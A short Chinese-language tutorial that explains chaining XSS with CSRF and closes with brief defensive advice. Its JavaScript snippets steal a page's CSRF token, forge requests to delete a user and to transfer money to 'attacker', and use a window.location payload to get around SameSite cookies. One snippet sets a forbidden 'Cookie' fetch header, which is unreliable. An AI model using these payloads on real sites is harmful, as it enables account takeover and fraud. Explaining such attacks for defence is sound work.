1. XSS+CSRF攻击原理

XSS可以读取页面中的CSRF Token,从而绕过CSRF防护机制。

// 利用XSS窃取CSRF Token
var token = document.querySelector('[name=csrf-token]').content;
fetch('/admin/delete-user', {
    method: 'POST',
    headers: {'X-CSRF-Token': token},
    body: JSON.stringify({userId: 123})
});

2. 组合攻击场景

攻击链: 1. XSS获取Token → 2. 伪造合法请求 → 3. 执行敏感操作

// 完整攻击链
// 步骤1: 读取CSRF Token
var csrf = document.querySelector('meta[name="csrf-token"]').content;

// 步骤2: 读取用户Session
var session = document.cookie;

// 步骤3: 执行敏感操作
fetch('/api/transfer', {
    method: 'POST',
    headers: {
        'X-CSRF-Token': csrf,
        'Cookie': session
    },
    body: JSON.stringify({
        to: 'attacker',
        amount: 10000
    })
});

3. 高级利用技术

3.1 绕过SameSite Cookie

// 利用XSS在同站点执行CSRF
// SameSite=Strict也无法防御
window.location = '/transfer?to=attacker&amount=10000';

3.2 链式攻击

XSS → 窃取Token → CSRF攻击 → 权限提升 → 后门植入

防御建议

  • 双重防护: 同时防御XSS和CSRF
  • Token绑定: CSRF Token与用户Session绑定
  • 二次验证: 敏感操作需要密码确认
  • 监控告警: 异常请求实时告警